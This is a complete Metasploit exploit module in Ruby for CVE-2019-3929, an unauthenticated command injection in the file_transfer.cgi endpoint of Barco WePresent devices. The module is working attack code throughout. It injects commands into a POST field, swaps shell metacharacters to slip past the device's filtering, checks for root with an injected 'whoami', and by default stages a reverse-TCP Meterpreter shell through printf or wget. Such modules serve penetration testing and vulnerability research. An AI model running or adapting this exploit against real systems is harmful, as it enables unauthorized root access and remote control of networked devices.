Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Barco WePresent file_transfer.cgi Command Injection",  
'Description' => %q(  
This module exploits an unauthenticated remote command injection  
vulnerability found in Barco WePresent and related OEM'ed products.  
The vulnerability is triggered via an HTTP POST request to the  
file_transfer.cgi endpoint.  
),  
'License' => MSF_LICENSE,  
'Author' => 'Jacob Baines', # @Junior_Baines'  
'References' =>  
[  
['CVE', '2019-3929'],  
['EDB', '46786'],  
['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']  
],  
'DisclosureDate' => "Apr 30, 2019",  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => false,  
'Targets' => [  
['Unix In-Memory',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'Payload' => {  
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }  
}],  
['Linux Dropper',  
'Platform' => 'linux',  
'Arch' => ARCH_ARMLE,  
'CmdStagerFlavor' => ['printf', 'wget'],  
'Type' => :linux_dropper]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 443,  
'CMDSTAGER::FLAVOR' => 'printf',  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'  
}))  
end  
  
def filter_bad_chars(cmd)  
cmd.gsub!(/;/, 'Pa_Note')  
cmd.gsub!(/\+/, 'Pa_Add')  
cmd.gsub!(/&/, 'Pa_Amp')  
return cmd  
end  
  
def send_command(cmd, timeout)  
vars_post = {  
file_transfer: 'new',  
dir: "'#{filter_bad_chars(cmd)}'"  
}  
  
send_request_cgi({  
'uri' => '/cgi-bin/file_transfer.cgi',  
'method' => 'POST',  
'vars_post' => vars_post  
}, timeout)  
end  
  
def check  
check_resp = send_command(";whoami;", 5)  
unless check_resp  
return CheckCode::Unknown('Connection failed.')  
end  
  
if check_resp.code == 200  
check_resp.body.gsub!(/[\r\n]/, "")  
if check_resp.body == "root"  
return CheckCode::Vulnerable  
end  
end  
  
CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
send_command(";(#{cmd})&", nil)  
end  
  
def exploit  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 128)  
end  
end  
end